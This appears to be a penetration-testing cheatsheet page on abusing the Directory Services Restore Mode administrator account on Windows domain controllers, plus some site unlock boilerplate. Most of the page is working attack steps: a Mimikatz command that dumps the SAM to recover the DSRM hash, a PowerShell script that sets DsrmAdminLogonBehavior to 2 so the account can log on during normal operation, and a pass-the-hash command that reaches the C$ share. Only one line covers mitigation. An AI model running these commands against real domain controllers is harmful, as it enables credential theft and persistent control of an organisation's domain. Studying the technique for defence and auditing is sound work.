// HackTricks · Windows

DSRM Credentials

DSRM Credentials

Basic Information

Every domain controller has a Directory Services Restore Mode (DSRM) administrator account. Its password is set during domain-controller promotion and is separate from Active Directory domain accounts.[1]

An attacker with administrative control of a domain controller can dump the local SAM database and recover the DSRM Administrator NTLM hash. The following Mimikatz command performs that operation:[2]

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

By default, the DSRM account is intended for restore mode. Setting DsrmAdminLogonBehavior to 2 permits this local account to authenticate while the domain controller is running normally. Check the value before changing it:[2][3]

$lsaPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$current = Get-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue

if ($null -eq $current) {
    New-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD
} else {
    Set-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2
}

The recovered hash can then be used in a pass-the-hash session to access resources such as the administrative C$ share. For this local account, use the domain controller’s computer name as the /domain value:[3]

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
# In the new PowerShell process, access C$ over NTLM.
ls \\dc-host-name\C$

Mitigation

  • Audit changes to HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior. Security event 4657 records a registry value modification when the key’s SACL is configured to audit Set Value operations.[4]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.